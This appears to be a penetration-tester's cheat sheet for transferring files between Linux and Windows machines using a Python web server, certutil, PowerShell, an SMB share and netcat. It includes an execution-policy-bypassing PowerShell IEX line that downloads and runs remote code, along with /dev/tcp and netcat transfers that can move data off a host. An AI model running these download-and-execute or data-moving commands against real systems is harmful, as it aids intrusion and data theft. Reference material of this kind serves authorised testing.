File Transfer

How to transfer files with Linux and Windows

From Linux to Windows

Establish a web server with Python in the path where the desired file is:

python3 -m http.server 8000

certutil.exe

certutil.exe -f -urlcache -split http://10.10.10.10:8000/file file

Using PowerShell

powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')
powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\file
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')
Invoke-WebRequest http://10.10.10.10:8000/file -o file          

Using a shared folder

Serve the file:

smbserver.py mysharedfolder $(pwd)
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321

Upload the file:

net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
copy \\10.10.10.10\mysharedfolder\file file

From Linux to Linux

netcat (I)

Origin machine:

nc -lvp 4450 < file

Destination machine:

nc 10.10.10.10 4450 > file

netcat (II)

Origin machine:

nc -lvp 4450 < file

Destination machine:

cat < /dev/tcp/10.10.10.10/4450 > file

netcat (III)

Destination machine:

nc -lvp 4450 > file

Origin machine:

cat file > /dev/tcp/10.10.10.10/4450

Windows to Linux

Using a shared folder

Serve the file:

smbserver.py mysharedfolder $(pwd)
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321

Copy the file:

net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
dir Y:\
copy file.zip \\10.10.10.10\mysharedfolder\file.zip

Validate integrity file

md5sum file_name

Last updated